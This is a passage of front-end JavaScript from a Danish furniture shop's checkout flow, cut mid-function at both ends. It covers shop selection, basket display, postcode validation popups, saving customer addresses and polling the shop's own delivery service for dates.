	if (! Event.element(e).hasClassName('selected')) {
		$$('.selected').each(function (s) {
			s.toggleClassName('selected')
		});
		Event.element(e).toggleClassName('selected');
		PreBookDates = Event.element(e).readAttribute('rel').split('_');
		// PreBookDates[1], PreBookDates[0]
		// save items in temp form
		//$('tempDate').setValue(PreBookDates[1]);
		//$('tempRoute').setValue(PreBookDates[0]);
		var showDate = $D(PreBookDates[1])
		$('delivery_time_receiver').update(makeDates(showDate, 'long') + ' ' +PreBookDates[2]);
		saveDeliveryDirect(PreBookDates[0],PreBookDates[1]);
	} else {
		Event.element(e).toggleClassName('selected');
	}
}

var shops = Class.create({
	initialize: function () {
		site.log('check, shoplistObj ready!');
	},
	getit: function (callback) {
		// Call shoplist
		site.log('check, shoplist - getting...');
		
		new Ajax.Request('/systemservice/checkout/shoplist?shoplist=1', {
			onSuccess: this.setit.bind(this)
		});
	},
	setit: function (response) {
		// Update local basket object
		site.log('check, shoplist setit');
		var values = response.responseText.evalJSON();
		
		//($('delivery').checked)? pickThisShop=$F('dZip'):pickThisShop=$F('sZip');

		lines = '';
		pickThisShop=''+globalBasketHeader.order.Header.shopinfo.id;
		site.log('check, shoplist pickThisShop: '+ pickThisShop);
		values.shops.each(function (line) {
			lines += shopListItems.templates.BS_TableCol.evaluate(Object.extend(line, {
				butik_nr: '' + line.shop,
				butik_navn: '' + line.name,
				butik_match: (pickThisShop.toString()==line.shop.toString())? 'selected':''
			}));
		});
		//butik_match: (pickThisShop.toString()==line.shop.toString())? ' rel="'+pickThisShop+'/'+line.shop+'/'+(pickThisShop.toString()==line.shop.toString())+'" selected':' rel="'+pickThisShop+'/'+line.shop+'/'+(pickThisShop.toString()==line.shop.toString())+'"'
		
		// populate dropdown
		$('checkout_getshop').update(shopListItems.templates.BS_Table.evaluate({
			rows: lines,
			wrapstart: '',
			wrapend: ''
		}));
		// check for null-shop
		if (pickThisShop == null) { 
			site.log('check, shoplist pickThisShop xtra reset: '+ pickThisShop);
			//formZipCheck.check('dZip','dCityTag','dCity');
			shoplist.pickone($F('sZip'));
		}
	},
	pickone: function (zip) {
		site.log('check, shoplist get shop by zip');
		dk.ide.webservice.DeliveryService.GetPickupShops(zip, this.setone.bind(this));
	},
	setone: function (num) {
		site.log('check, shoplist set shop by zip');
		opt = $$('#checkout_getshop option');
		//opt.invoke('selected', false);
		setShop = ''; 
		opt.each(function (item) {
			//items += (item.value.valueOf() == num.valueOf()) + '/';
			(parseFloat(item.value) == parseFloat(num))? item.selected = true:site.log('check, shoplist not set shop by zip: '+ item.value.valueOf() +'/'+ num.valueOf()  +'/'+ (parseFloat(item.value) == parseFloat(num))  +' - '+ parseFloat(item.value));
			if (parseFloat(item.value) == parseFloat(num)) { setShop = parseFloat(item.value) };
		});
		if (setShop != '')  { dk.ide.webservice.DeliveryService.SetShopId(CodeCompany.Cookie.read("BasketId"),setShop,simpleLocalBasketUpdate) };
		//site.log('check, shoplist set shop by zip: ' +items);
	},
	saveshop: function (num) {
		dk.ide.webservice.DeliveryService.SetShopId(CodeCompany.Cookie.read("BasketId"),num,simpleLocalBasketUpdate);
	}
});

var shoplist = new shops();

/* Harvest products to service form */

function callBasket() {
	// get basket content
	dk.ide.webservice.BasketService.Get(servicetoken, CodeCompany.Cookie.read("BasketId"), readBasket);
}

function readBasket(data) {
	// check products
	
	var d = (!Object.isUndefined(data.d))? data.d: data;
	data = d.order.Lines;
	
	// write products
	
	if (data[0]) {
		lines = '';
		i = 0;
		
		data.each(function (line) {
			lines += HarvestProducts.templates.BS_TableCol.evaluate(Object.extend(line, {
				rowclass: ((i % 2) == 0)? 'evenrow': 'oddrow',
				rownum: i,
				productName: '' + line.varenavn,
				productCount: '' + line.qty,
				productNum: '' + line.itemId,
				productPrice: '' + line.varepris.printable
			}));
			i += 1;
		});
		
		// populate textarea
		$('pList').setValue(HarvestProducts.templates.BS_Table.evaluate({
			offset: '',
			rows: lines,
			wrapstart: '',
			wrapend: ''
		}));
		site.log('' + HarvestProducts.templates.BS_Table.evaluate({
			offset: '',
			rows: lines,
			wrapstart: '',
			wrapend: ''
		}));
	}
	/* submit the service form */
	var sendForm = new ajaxloadFormCheckout('checkoutreceiver', 'serviceForm');
}


function resumeCallBasket() {
	// get basket content
	dk.ide.webservice.BasketService.Get(servicetoken, CodeCompany.Cookie.read("BasketId"), resumeReadBasket);
	
}

function resumeCallBasketDirect() {
	// get basket content from tab #6
	resumeReadBasket(globalBasketHeader);
}

function resumeReadBasket(data) {
	site.log('check resumeReadBasket: '+data);
	// check products
	
	var d = (!Object.isUndefined(data.d))? data.d: data;
	data = d.order.Lines;
	
	// write products
	
	if (data[0]) {
		lines = '';
		linesAll = '';
		i = 0;
		
		data.each(function (line) {
			if (i<7) {
				lines += resumeHarvestProducts.templates.BS_TableCol.evaluate(Object.extend(line, {
					rowclass: ((i % 2) == 0)? 'evenrow': 'oddrow',
					rownum: i,
					productName: '' + line.varenavn,
					productCount: '' + line.qty,
					productPrice: '' + line.lineAmount.printable
				}));
			} else {
				linesAll += resumeHarvestProducts.templates.BS_TableCol.evaluate(Object.extend(line, {
					rowclass: ((i % 2) == 0)? 'evenrow': 'oddrow',
					rownum: i,
					productName: '' + line.varenavn,
					productCount: '' + line.qty,
					productPrice: '' + line.lineAmount.printable
				}));
			}
			i++;
		});
		
		// populate productarea
		$('first7load').update(HarvestProducts.templates.BS_Table.evaluate({
			offset: '',
			rows: lines,
			wrapstart: '',
			wrapend: ''
		}));
		$('lastload').update(HarvestProducts.templates.BS_Table.evaluate({
			offset: '',
			rows: linesAll,
			wrapstart: '',
			wrapend: ''
		}));
		
		if (i>=7) { $("allBtn").show(); };
	}
}

// Move date window - alt.
var SliderObserver = Class.create({
	initialize: function (options) {
		site.log('check moveDatesAlt initiated');
		var maxnumber = ($$('#dayWindow div.daybox').size() * 101) - 707;
		site.log('check moveDatesAlt,maxnumber:' + maxnumber);
		//$('acctitle').insert('('+ $$('#dayWindow .daybox').size() + ')');
		if (maxnumber == 0) {
			$('nxtweek').addClassName('off');
		}
		$('preweek').addClassName('inactive');
		$('nxtweek').observe('click', function (e) {
			site.log('check moveDatesAlt,maxnumber:' + maxnumber);
			/*var item = $('dayWindow').getLayout(); */
			//var itemPos = item.get('left');
			var itemPos = $('dayWindow').positionedOffset().toArray();
			var itemX = new Number(itemPos[0]);
			site.log('check moveDatesAlt,itemX:' + itemX);
			site.log('check moveDatesAlt,itemX <= 0:' + (itemX <= 0));
			site.log('check moveDatesAlt,itemX > (maxnumber*-1)+1212:' + ((maxnumber * - 1)));
			site.log('check moveDatesAlt,itemX > maxnumber*-1:' + (itemX > (maxnumber * - 1)));
			site.log('check moveDatesAlt,maxnumber >= 101:' + (maxnumber >= 707));
			site.log('check moveDatesAlt,itemPos:' + Object.isNumber(itemPos[0]));
			if (itemX <= 0 && itemX > (maxnumber * - 1) && maxnumber >= 707) {
				if (itemX / 707 == 0) updateWeek('up');
				new Effect.Move('dayWindow', {
					x: - 707, mode: 'relative', queue: {
						position: 'end', scope: 'weeks', limit: 1
					}
				});
				$('preweek').removeClassName('inactive');
			}
			if (itemX <= (maxnumber * - 1) + 707) {
				$('nxtweek').addClassName('inactive');
			}
		},
		'nxtweek', 888);
		$('preweek').observe('click', function (e) {
			var itemPos = $('dayWindow').positionedOffset().toArray();
			var itemX = new Number(itemPos[0]);
			if (itemX < 0) {
				if (itemX / 707 == 0) updateWeek('down');
				new Effect.Move('dayWindow', {
					x: 707, mode: 'relative', queue: {
						position: 'end', scope: 'weeks', limit: 1
					}
				});
				$('nxtweek').removeClassName('inactive');
			}
			if (itemX == - 707) {
				$('preweek').addClassName('inactive');
			}
		},
		'preweek', 888);
	}
});


/********* Validering af postnumre *********/
/*
function validZip(value) {
    zipError = false;
    var zipStr="4592,4944,5985,5970,5960,6720,7884,8305,8592,9940"; 
	var zipItem='/'+value+'+/g';
	(zipItem.match(zipStr))? zipError = true:zipError = false;
    return zipError;
}
	    	
function showError(item) {
    eval($(item+'Error').show());
}
*/

var zipCheck = Class.create({
	initialize: function() {
		site.log('check, zipCheck init');
		this.labelStr = '';
		this.valueStr = '';
		this.zipcode = '';
	},
	check: function(itemZip,itemLabel,itemValue) {
		this.labelStr = itemLabel;
		this.valueStr = itemValue;
		this.zipcode = itemZip;
		site.log('check, zipCheck checking: '+ $F(this.zipcode));
		if (this.zipcode == 'sZip') { $('sCityTag').addClassName('pending'); } else { $('dCityTag').addClassName('pending'); }
		if ($F(this.zipcode) != '')  { dk.ide.webservice.zipservice.GetCity($F(this.zipcode),this.write.bind(this)); }
    },
    write: function(data) {
    	var d = (!Object.isUndefined(data.d))? data.d: data;
		data = d;
		if (this.zipcode == 'sZip') { $('sCityTag').removeClassName('pending'); } else { $('dCityTag').removeClassName('pending'); }
		site.log('check, zipCheck updating ' + data);
		if ($(this.labelStr) != null) { $(this.labelStr).update(data.bynavn); }
		if ($(this.valueStr) != null) { $(this.valueStr).setValue(data.bynavn); }
		if (data.foundroute == true) { 
			errorZipInvalid = 0;
			errorRouteInvalid = 0;
		}
		if (data.isvalidzip == true) { 
			errorZipInvalid = 0;
		}
		if (data.isvalidzip == true && data.foundroute == false && $('pickup').checked) { 
			errorRouteInvalid = 0;
		}
		if (this.zipcode == 'sZip') { popx = '442px';popy = '316px'; } else { popx = '442px';popy = '552px'; }
		if (data.isvalidzip != true && data.foundroute == false) document.fire('errormessage:show', { closeable: false, boxname: 'invalidzip', action: 'zipError("'+this.zipcode+'")',xpos: popx, ypos: popy, errormessage: 'Postnummeret '+$F(this.zipcode)+' er ikke et gyldigt postnummer. Indtast venligst et gyldigt postnummer. Eller opgiv en anden leveringsadresse.' });
		//if (data.isvalidzip != true && data.foundroute == false) document.fire('errormessage:show', { boxname: 'invalidDZip', action: 'dZipError();',xpos: '442px', ypos: '245px', errormessage: 'Postnummeret er ikke et gyldigt postnummer. Indtast venligst et gyldigt postnummer.' });
		if (data.isvalidzip == true && data.foundroute == false && !$('pickup').checked) document.fire('errormessage:show', { closeable: false, boxname: 'invalidroute', action: 'routeError("'+this.zipcode+'")',xpos: popx, ypos: popy, errormessage: 'IDEmøbler kan desværre ikke tilbyde levering til postnummeret '+$F(this.zipcode)+'. Indtast venligst en anden leveringsadresse eller afkryds "Jeg henter selv" for at fuldende din bestilling.' });
    	//document.fire('errormessage:show', { boxname: 'invalidtest', xpos: '442px', ypos: '245px', errormessage: 'TEST: IDEmøbler kan desværre ikke tilbyde levering til din adresse. Indtast venligst en anden leveringsadresse eller afkryds "Jeg henter selv" for at fuldende din bestilling.' });
	}
});

//init zipCheck
var formZipCheck = new zipCheck();


/************************** eventbox ******************************/

document.observe("errormessage:show", function(event) {
	site.log('check , errormessage pop:' + event.memo.boxname);
	var bname = event.memo.boxname;
	var berror = event.memo.errormessage;
	var closeable = (event.memo.closeable)? '':'noclose';
	$('checkoutbox').insert('<div id="'+bname+'" class="smallErrorItem '+closeable+'" style="display:none;"><div class="text" id="'+bname+'text"><xsl:comment/></div></div>');
	$(''+bname+'text').update(berror);
	// fire event or function
	eval(event.memo.action);
	$(bname).setStyle({
  		left: event.memo.xpos,
  		top: event.memo.ypos
	});
	Effect.Appear(bname, { duration: 1.0 });
	if (event.memo.closeable){
		$(bname).observe('click', function (event) {
			Effect.Fade(bname, { duration: 1.0 });
			(function(){ $(bname).remove(); }).delay(1);
	    });
    }
});

function zipError(item) {
	site.log('check , errormessage item:' + item);
	if (item == 'sZip' && !$('delivery').checked) {
		errorZipInvalid = 1;
		$('sZip').removeClassName('validated');
	}
	if (item == 'sZip' && $('delivery').checked) {
		errorZipInvalid = 0;
	}
	if (item == 'dZip') {
		errorZipInvalid = 1;
		$('dZip').removeClassName('validated');
	}
	if (errorZipInvalid == 1) { killerrors('invalidroute'); }
}

function routeError(item) {
	site.log('check , errormessage item:' + item);
	if (item == 'sZip' && $('delivery').checked) {
		errorRouteInvalid = 0;
	} 
	if (item == 'sZip' && !$('delivery').checked) {
		errorRouteInvalid = 1;
		$('sZip').removeClassName('validated');
	}
	if (item == 'dZip') {
		errorRouteInvalid = 1;
		$('dZip').removeClassName('validated');
	}
	if ($('pickup').checked) {
		errorRouteInvalid = 0;
	}
	if (errorRouteInvalid == 1) { killerrors('invalidzip'); }
}


function killerrors(item) {
	var soloItem = (item != '');
	switch(soloItem)
	{
	case true:
	  	if ($(item) != null && $(item) != undefined) { 
	  		Effect.Fade(item, { duration: 1.0 });
			(function(){ if ($(item) != null && $(item) != undefined) { $(item).remove()}}).delay(1);
		}
	  break;
	case false:
	  	var eBoxes = $$('.smallErrorItem')
		eBoxes.each(function (box) {
			if ($(box) != null) { 
				Effect.Fade(box, { duration: 1.0 });
				(function(){ if ($(box) != null && $(box) != undefined) { $(box).remove()}}).delay(1);
			}
		});
		break;
	}
}

/************************** eventbox end  ******************************/ 
/*
function validateZip(itemZip,itemLabel,itemValue){
	dk.ide.webservice.zipservice.getCity(itemZip,populateFromZip);
}
function populateFromZip(data){
	var d = (!Object.isUndefined(data.d))? data.d: data;
	data = d;
	
}*/

/* step #1 */
var customerAddress = Class.create({
	initialize: function () {
		// init
	},
	save: function () {
		site.log('check, customerAddress.save');
		var sBasketID = getCookie("BasketId");
		//CodeCompany.Cookie.read('BasketId');//globalBasketID;48205f36-49f8-47d7-b710-3350049da949
		globalBasketID = getCookie("BasketId");
		var sFirm = $F('sFirm');
		var sAtt = $F('sAtt');
		var sName = $F('sFName') + ' ' + $F('sLName');
		var sAdd = $F('sAdd');
		var sZip = $F('sZip');
		//'8653';
		var sCity = $F('sCity');
		var sEmail = $F('sEmail');
		var sPhone = $F('sPhone');
		site.log('check, pickup:checked:'+($$('#pickup:checked').length));
		//($$('#pickup:checked').length == 1)? pickup=false:pickup=true;
		($('pickup').checked)? delivery=false:delivery=true;
		
		/*var deliveryNew = $('pickup').checked;
		var deliveryOld = (globalBasketHeader.order.Header.deliverymode!='levering');*/
		/*var shopNew = $F('pickup').checked;
		var shopOld = (globalBasketHeader.order.Header.deliverymode!='levering');*/
		//if (deliveryOld == deliveryNew) { var deliveryAltered='altered';} else { var deliveryAltered='samesame';}
		//site.log('check, deliveryAltered: '+deliveryAltered);
		if (!$('delivery').checked) {
			var dFName = $F('sFName');
			var dLName = $F('sLName');
			var dName = dFName + ' ' + dLName;
			var dAdd = $F('sAdd');
			var dZip = $F('sZip');
			var dCity = $F('sCity');
		} else {
			var dFName = ($F('dFName') == '')? $F('sFName'): $F('dFName');
			var dLName = ($F('dLName') == '')? $F('sLName'): $F('dLName');
			var dName = dFName + ' ' + dLName;
			var dAdd = ($F('dAdd') == '')? $F('sAdd'): $F('dAdd');
			var dZip = ($F('dZip') == '')? $F('sZip'): $F('dZip');
			var dCity = ($F('dCity') == '')? $F('sCity'): $F('dCity');	
		}
		var sms = ($F('sms') == 'true')? true: false;
		
		if (delivery==true) {
			if (globalBasketHeader.order.Header.deliveryzipcode == dZip) { // new or changed /* && deliveryAltered='samesame'*/
					dk.ide.webservice.BasketService.UpdateOrderHead(sBasketID, sName, sAdd, sZip, sCity, sEmail, sPhone, delivery, dName, dAdd, dZip, dCity, sms, sAtt, sFirm, saveSuccess, requestFail);
			} else {
					dk.ide.webservice.BasketService.UpdateOrderHead(sBasketID, sName, sAdd, sZip, sCity, sEmail, sPhone, delivery, dName, dAdd, dZip, dCity, sms, sAtt, sFirm, updateSuccess, requestFail);
			}
		} else {
			dk.ide.webservice.BasketService.UpdateOrderHead(sBasketID, sName, sAdd, sZip, sCity, sEmail, sPhone, delivery, dName, dAdd, dZip, dCity, sms, sAtt, sFirm, getPickup, requestFail);
		}
		return true;
	},
	saveOnly: function () {
		site.log('check, customerAddress.saveOnly');
		var sBasketID = getCookie("BasketId");
		globalBasketID = getCookie("BasketId");
		var sFirm = $F('sFirm');
		var sAtt = $F('sAtt');
		var sName = $F('sFName') + ' ' + $F('sLName');
		var sAdd = $F('sAdd');
		var sZip = $F('sZip');
		var sCity = $F('sCity');
		var sEmail = $F('sEmail');
		var sPhone = $F('sPhone');
		site.log('check, pickup:checked:'+($$('#pickup:checked').length));
		($$('#pickup:checked').length == 1)? pickup=false:pickup=true;
			var dFName = ($F('dFName') == '')? $F('sFName'): $F('dFName');
			var dLName = ($F('dLName') == '')? $F('sLName'): $F('dLName');
			var dName = dFName + ' ' + dLName;
			var dAdd = ($F('dAdd') == '')? $F('sAdd'): $F('dAdd');
			var dZip = ($F('dZip') == '')? $F('sZip'): $F('dZip');
			var dCity = ($F('dCity') == '')? $F('sCity'): $F('dCity');
		var sms = ($F('sms') == 'true')? true: false;
		
		dk.ide.webservice.BasketService.UpdateOrderHead(sBasketID, sName, sAdd, sZip, sCity, sEmail, sPhone, pickup, dName, dAdd, dZip, dCity, sms, sAtt, sFirm, justUpdate, requestFail);
		return true;
	},
	populate: function () {
		site.log('check: saveAddress - populate:');
		
		$('sFirm').setValue(globalBasketHeader.order.Header.company);
		$('sAtt').setValue(globalBasketHeader.order.Header.att);
		var sFName = globalBasketHeader.order.Header.salesname.split(' ');
		var nameSize = sFName.size()-1;
		$('sFName').setValue(sFName[0]);
		if (nameSize >= 1){
			i = 1;
			sFNameStr = '';
			while (i <= nameSize) { sFNameStr += sFName[i] + ' '; i++; };
			$('sLName').setValue(sFNameStr);
		}
		
		$('sAdd').setValue(globalBasketHeader.order.Header.salesaddress);
		$('sZip').setValue(globalBasketHeader.order.Header.zipcode);
		$('sCity').setValue(globalBasketHeader.order.Header.city);
		$('sEmail').setValue(globalBasketHeader.order.Header.email);
		$('sPhone').setValue(globalBasketHeader.order.Header.phone);
		var dFName = globalBasketHeader.order.Header.deliveryname.split(' ');
		var nameSized = dFName.size()-1;
		$('dFName').setValue(dFName[0]);
		if (nameSize >= 1){
			j = 1;
			dFNameStr = '';
			while (j <= nameSized) { dFNameStr += dFName[j] + ' '; j++; };
			$('dLName').setValue(dFNameStr);
		}

		if (globalBasketHeader.order.Header.deliverymode == 'levering' && globalBasketHeader.order.Header.deliveryzipcode != '') {
			$('delivery').checked = true;
			$('billing_toggle').toggleClassName('on').toggleClassName('off');
			$('check_billing').toggleClassName('on').toggleClassName('off');
			$('billtable').show();
		} else { 
			$('delivery').checked = false;
		}
		if (globalBasketHeader.order.Header.deliverymode != 'levering') {
			$('pickup').checked = true;
			$('checkout_getshop_holder').show();
			$('delivery').checked = false;
			$("delivery").disable();
			
		}
		
		$('dAdd').setValue(globalBasketHeader.order.Header.deliveryaddress);
		$('dZip').setValue(globalBasketHeader.order.Header.deliveryzipcode);
		$('dCity').setValue(globalBasketHeader.order.Header.deliverycity);
		$('sms').setValue(globalBasketHeader.order.Header.sendsms);
		
		(function(){ formZipCheck.check('sZip','sCityTag','sCity') }).delay(2);
		(function(){ formZipCheck.check('dZip','dCityTag','dCity') }).delay(1);
		
	},
	resume: function () {
		site.log('check: saveAddress - receipt:');
		// money
		site.log('check, basketSubTotal: ' + globalBasketHeader.basketSubTotal.printable);
		$('purchase').update(globalBasketHeader.basketSubTotal.printable);
		$('shipping').update(globalBasketHeader.freight.printable);
		$('total').update(globalBasketHeader.basketTotal.printable);
		/* paddress */
		$('pfirm').update(globalBasketHeader.order.Header.company);
		$('patt').update('Att. '+globalBasketHeader.order.Header.att);
		$('pname').update(globalBasketHeader.order.Header.salesname);
		$('padd').update(globalBasketHeader.order.Header.salesaddress+', '+globalBasketHeader.order.Header.zipcode+' '+ globalBasketHeader.order.Header.city);
		$('pemail').update(globalBasketHeader.order.Header.email);
		$('pphone').update(globalBasketHeader.order.Header.phone);
		
		if (globalBasketHeader.order.Header.deliverymode == 'levering') {
			/* shipping */
			$('dname').update(globalBasketHeader.order.Header.deliveryname);
			$('dadd').update(globalBasketHeader.order.Header.deliveryaddress+', '+globalBasketHeader.order.Header.deliveryzipcode+' '+ globalBasketHeader.order.Header.deliverycity);
			/* delivery */
			$('ddate').update(''+ globalBasketHeader.order.Header.deliveryinfo.deliveryDate.readable);
			dtimeStr = 'Kl. ' + globalBasketHeader.order.Header.deliveryinfo.startHour + ' - ' + globalBasketHeader.order.Header.deliveryinfo.endHour;
			$('dtime').update(dtimeStr);
		} else {
			$('deliveryColholder').hide();
			$('ddate').update(globalBasketHeader.order.Header.shopinfo.name + '<br/>Fra '+ globalBasketHeader.order.Header.pickupdate.readable);
			$('dtime').hide();			
		}
		// cufon
		(function(){ document.fire('custom:refreshCufon'); }).defer();
		// ready
		$('receiver').removeClassName('pending');
				
	},
	receipt: function () {
		site.log('check: saveAddress - receipt:');
		// money
		site.log('check, basketSubTotal: ' + globalBasketHeader.basketSubTotal.printable);
		$('purchase').update(globalBasketHeader.basketSubTotal.printable);
		$('shipping').update(globalBasketHeader.freight.printable);
		$('total').update(globalBasketHeader.basketTotal.printable);
		/* paddress */
		$('pfirm').update(globalBasketHeader.order.Header.company);
		$('patt').update('Att. '+globalBasketHeader.order.Header.att);
		$('pname').update(globalBasketHeader.order.Header.salesname);
		$('padd').update(globalBasketHeader.order.Header.salesaddress+', '+globalBasketHeader.order.Header.zipcode+' '+ globalBasketHeader.order.Header.city);
		$('pemail').update(globalBasketHeader.order.Header.email);
		$('pphone').update(globalBasketHeader.order.Header.phone);
		
		if (globalBasketHeader.order.Header.deliverymode == 'levering') {
			/* shipping */
			$('dname').update(globalBasketHeader.order.Header.deliveryname);
			$('dadd').update(globalBasketHeader.order.Header.deliveryaddress+', '+globalBasketHeader.order.Header.deliveryzipcode+' '+ globalBasketHeader.order.Header.deliverycity);
			/* delivery */
			$('ddate').update(''+ makeDates($D(globalBasketHeader.order.Header.customdlvdate), 'long'));
			dtimeStr = 'KL. ' + globalBasketHeader.order.Header.deliveryinfo.startHour + ' - ' + globalBasketHeader.order.Header.deliveryinfo.endHour;
			$('dtime').update(dtimeStr);
		} else {
			$('deliveryColholder').hide();
			$('ddate').update(globalBasketHeader.order.Header.shopinfo.name + '<br/>Fra '+ makeDates($D(globalBasketHeader.order.Header.customdlvdate), 'long'));
			$('dtime').hide();			
		}
		// cufon
		(function(){ document.fire('custom:refreshCufon'); }).defer();
		// ready
		$('receiver').removeClassName('pending');			
	}
});

var myAdd = new customerAddress();

/* step #2 */
function saveSuccess() {
	// save the address
	site.log('check: saveAddress - success:' + globalBasketID);
	// update temp Basket
	changePage.getit('');
	// load delivery page
	loadElement.load('/systemservice/checkout/levering?c=1', 'receiver', 'get', 'update');
	// start the delivery-request
	//site.log('check globalBasketHeader.order.Header.customdlvdate: ' + ($D(globalBasketHeader.order.Header.customdlvdate).getFullYear() == 1));
	
	if (globalBasketHeader.order.Header.deliverymode == 'afhentning') {
			getPickupDate();
	} else {
		// do we need to get dates at all?
		site.log('delivery tell-tale: ' + (globalBasketHeader.order.deliveryMethodInfo.byPost == true && globalBasketHeader.order.deliveryMethodInfo.byShipment == false));
		if (globalBasketHeader.order.deliveryMethodInfo.byPost == true && globalBasketHeader.order.deliveryMethodInfo.byShipment == false) {
			// do nothing so far
		} else {
			if (globalBasketHeader.order.Header.customdlvdate != globalBasketHeader.order.Header.deliverydate) {
				checkDelivery();
			} else {
				dk.ide.webservice.DeliveryService.RequestDelivery(globalBasketID, checkDelivery, requestFail);
			}
		}
	}
}

function justUpdate() {
	changePage.getit('');
}

var z = '';
globalPickupRetry = 0;

function setPickup(pickupBool) {
	dk.ide.webservice.DeliveryService.SetDeliveryMethod(globalBasketID, pickupBool, justUpdate);
}

function getPickup() {
	// update temp Basket
	changePage.getit('');
	// load delivery page
	loadElement.load('/systemservice/checkout/levering?c=1', 'receiver', 'get', 'update', 'requestPickupDate()');
}

function requestPickupDate() {
	dk.ide.webservice.DeliveryService.RequestDelivery(globalBasketID, getPickupDate(), requestFail);
}

function getPickupDate() {
	if (globalPickupRetry < 4 && scaleCount < 10) {
		site.log('check globalPickupRetry ' + globalPickupRetry);
		forceIt = false;
	} else {
		site.log('check force globalPickupRetry ' + globalPickupRetry);
		forceIt = true;
	}
	dk.ide.webservice.DeliveryService.GetPickupDate(globalBasketID, forceIt, getPickupRetry, getPickupRetry);
}

function getPickupRetry(data) {
	if (globalPickupRetry == 0) {
		scaleIt();
	}
	if (data.dato.toString() == '') {
		if (z != '') {
			clearTimeout(z);
		};
		globalPickupRetry++;
		z = getPickupDate.delay(2);
	} else {
		if (z != '') {
			clearTimeout(z);
		};
		(function(){$('pickTime').update(''+ makeDates($D(data.dato), 'long'))}).defer();
		(function(){$('delivery_time_receiver').update(''+ makeDates($D(data.dato), 'long'))}).defer();
		changePage.getit('');
		globalPickupRetry = 0;
		//drawDefaultTime(data.dato).strftime('%m-%d-%Y').defer();
	}
}

function updateSuccess() {
	// save the address
	site.log('check: updateAddress - success:' + globalBasketID);
	// update temp Basket
	changePage.getit('');
	// load delivery page
	loadElement.load('/systemservice/checkout/levering?c=1', 'receiver', 'get', 'update');
	// start the delivery-request
	dk.ide.webservice.DeliveryService.RequestDelivery(globalBasketID, checkDelivery, requestFail);
}

/* step #3 */
var globalRetry = 0;
var scaleCount = 0;
function checkDelivery() {
	// start the delivery-request
	site.log('check: checking delivery');
	var forceDate = false;
	if (globalRetry >= 3 || scaleCount > 9) {
		forceDate = true;
		//$('load_calendar').addClassName('forced');
	}

	// DETTE SKAL SÆTTES TIL CA. 3 !!!!!!
	site.log('check, checkDelivery - forceDate ' + forceDate);
	dk.ide.webservice.DeliveryService.HasAssignedDelivery(globalBasketID, forceDate, executeReCheck, requestFail);
}

/* step #4 */
function scaleIt() {
	var scaleCount = 0;
	var globalPickupRetry = 0;
	var globalRetry = 0;
	new PeriodicalExecuter(function(pe) {
	  if (scaleCount <= 9) {
	  	scaleCount++;
	  	var scaleStyle = (scaleCount*15).toString() + 'px';
	  	if($('scalebar')!=null) {
	  		site.log('check: scale++: ' + scaleStyle);
	  		$('scalebar').setStyle({
			  'width': scaleStyle
			});
	  	}
	  } else {
	    pe.stop();
	  }
	}, 1);
}

var t = '';
function executeReCheck(data) {
	var d = (!Object.isUndefined(data.d))? data.d: data;
	data = d;
	site.log('check executeDeliveryCheck');
	site.log('check isassigned: ' + data.isassigned);
	site.log('check date: ' + data.date);
	site.log('check custdate: ' + data.custdate);
	site.log('check routeid: ' + data.routeid);
	if (globalRetry == 0) {
		scaleIt();
	}
	
	if (data.isassigned == true) {
		site.log('check field IS present, DOM.size():' + ($$('div#delivery_time_receiver').size()));
		if (t != '') {
			clearTimeout(t);
		};
		
		var showCalendar = true;
		
		(data.routeid != '########')? showCalendar = true:showCalendar = false;
		
		drawDefaultTime(data.custdate, data.date, data.starttime, data.endtime, showCalendar);
		newDate = $D(data.custdate).strftime('%Y-%m-%d');
		
		site.log('check newDate: ' + newDate);
		//sendTime = newDate.toString();
		//$('tempDate').getValue = sendTime;
		//$('tempRoute').value = data.routeid.toString();
		saveDeliveryDirect(data.routeid.toString(),newDate.toString());
		// reset global counter
		globalRetry = 0;
	} else {
		site.log('check data is NOT present and DOMready:' + ($('delivery_time_receiver') != null));
		if (t != '') {
			clearTimeout(t);
		};
		//if (!$('delivery_time_receiver') == undefined) {
		globalRetry++;
		t = checkDelivery.delay(2);
		//}
		//genFakeDeliveryDate();
	}
}

/* step #6 */
var y ='';
function drawDefaultTime(drawDateData, drawStartDateData, drawTimeStart, drawTimeEnd, showCalendar) {
	// show time
	site.log('check drawDefaultTime: ' + drawDateData);
	var data = $D(drawDateData).strftime('%m-%d-%Y');
	if ($('delivery_time_receiver') != null) {
		$('delivery_time_receiver').update(''+ makeDates($D(data), 'long')+' Kl. ' + drawTimeStart + '-' + drawTimeEnd);
		site.log('check levering: ' + globalBasketHeader.order.Header.deliverymode);
		if (globalBasketHeader.order.Header.deliverymode == 'levering' && showCalendar == true) {
			//$('load_calendar').show();
			$('checkout_delivery').show();
			changePage.getit('loadcalendar');
		}
		$('gotoResume').removeClassName('locked').addClassName('unlocked'); 
		$('tab4').removeClassName('locked').addClassName('unlocked');
		if (y != '') {
			clearTimeout(y);
		};
	} else {
		function dlay() {
			if ($('delivery_time_receiver')!=null) { 
				$('delivery_time_receiver').update(''+ makeDates($D(data), 'long')+' Kl. ' + drawTimeStart + '-' + drawTimeEnd);
				if (globalBasketHeader.order.Header.deliverymode == 'levering' && showCalendar == true) {
					//$('load_calendar').show();
					$('checkout_delivery').show();
					changePage.getit('loadcalendar');
				}
				$('gotoResume').removeClassName('locked').addClassName('unlocked'); 
			    $('tab4').removeClassName('locked').addClassName('unlocked');
		    }
		}
		dlay.delay(2);
		dlay.delay(4);
		dlay.delay(6);
	};
	// SET THE FIRST AVAILABLE DATE TO "globalStartDate"
	globalStartDate = data;
	globalCalStartDate = $D(drawStartDateData).strftime('%m-%d-%Y');
}


function loadCalendar() {
	// save the address
	site.log('check: delivery loadCalendar');
	var zipCode = globalBasketHeader.order.Header.deliveryzipcode;
	site.log('check: delivery loadCalendar - deliveryzipcode: ' + zipCode);
	var startDate = globalCalStartDate;
	startDate = $D(startDate).strftime('%Y-%m-%d');
	if (zipCode != '') {
		site.log('check: call GetDeliveryCalendar with: ' + startDate + '/' + zipCode);
		dk.ide.webservice.DeliveryService.GetDeliveryCalendar(startDate, zipCode, drawCalendar, requestFail);
	} else {
		site.log('check: delivery loadCalendar - deliveryzipcode is empty');
	};
	$('t_days').addClassName('pending');
}

// set global Startdate offset
var globalStartOffset = 0;
// set number of selectable days
var globalMaxDays = 0;
// set global weeke number
var globalWeekNumber = '';

function getOffsetDays(newDate, newLastDate) {
	
	var currDate = Date.create(newDate);
	var lastDate = Date.create(newLastDate);
	// simulate other days
	//lastDate = lastDate.add(3);
	// Dagens nummer i dag
	site.log('check getOffsetDays currDate: ' + currDate);
	var currDay = currDate.getDay();
	var lastDay = lastDate.getDay();
	site.log('check getOffsetDays currDay: ' + currDay);
	
